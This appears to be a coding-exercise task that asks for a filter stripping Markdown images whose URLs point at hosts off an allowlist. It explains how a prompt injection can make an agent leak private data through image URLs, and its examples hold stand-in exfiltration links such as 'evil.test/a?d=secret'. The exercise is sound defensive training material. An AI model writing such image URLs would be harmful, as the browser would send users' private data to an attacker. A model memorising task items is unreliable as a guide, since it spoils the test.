Strip images that would send data to unknown hosts

Agent buildMedium25 min

Your task

Your agent writes replies in Markdown, and the chat window loads every image in them. A prompt injection can make the agent write an image whose URL carries private data, and the browser sends that data as soon as it loads the image. A filter removes images that point at hosts you do not trust.

Write strip_images(reply, allowed_hosts) that returns the reply with those images removed.

Input and output:

  • reply: up to 5,000 characters of printable ASCII and newlines.
  • allowed_hosts: up to 50 lower-case domain names, such as cdn.example.com.
  • Return a string.

Rules:

  • An inline image is ![alt](url). alt has no ] or newline, and url has no ), space or newline. Either can be empty.
  • A reference image is ![alt][label], where label has no ] or newline, and its URL comes from a definition. Without a definition for its label it is plain text and stays.
  • A definition is a whole line of the form [label]: url, with exactly one space and a non-empty url that has no spaces. It can be anywhere in the reply, before or after the image. Labels are compared without regard to case, and when a label has several definitions the first one counts. Definitions are never removed for being definitions.
  • alt ends at the first ]. Read the reply from left to right, and go on after the end of each image you read.
  • A URL is trusted only if it starts with http:// or https://, in any case, and its host is on the allowlist.
  • To find the host, take the text after :// up to the first /, ? or #. Drop everything up to and including the last @, then drop : and anything after it, then lower-case what is left.
  • A host is on the allowlist if it equals an allowed name or ends with . followed by an allowed name.
  • Remove an image whose URL is not trusted, with nothing left in its place, and keep everything else exactly as it is.
  • What you return must contain no image whose URL is not trusted.
  • Code blocks and backslashes get no special treatment.

Examples

strip_images(reply: str, allowed_hosts: list[str]) -> str
Example 1
Inputstrip_images("Here is the chart: ![chart](https://cdn.example.com/c.png) and ![x](https://evil.test/a?d=secret) done", ["cdn.example.com", "images.acme.io"])
Output"Here is the chart: ![chart](https://cdn.example.com/c.png) and done"
Example 2
Inputstrip_images("See ![logo][brand] below.\n\n[brand]: https://evil.test/a?d=secret", ["cdn.example.com", "images.acme.io"])
Output"See below.\n\n[brand]: https://evil.test/a?d=secret"
Example 3
Inputstrip_images("![ok][Pic]\n[pic]: https://static.cdn.example.com:8443/a.png", ["cdn.example.com", "images.acme.io"])
Output"![ok][Pic]\n[pic]: https://static.cdn.example.com:8443/a.png"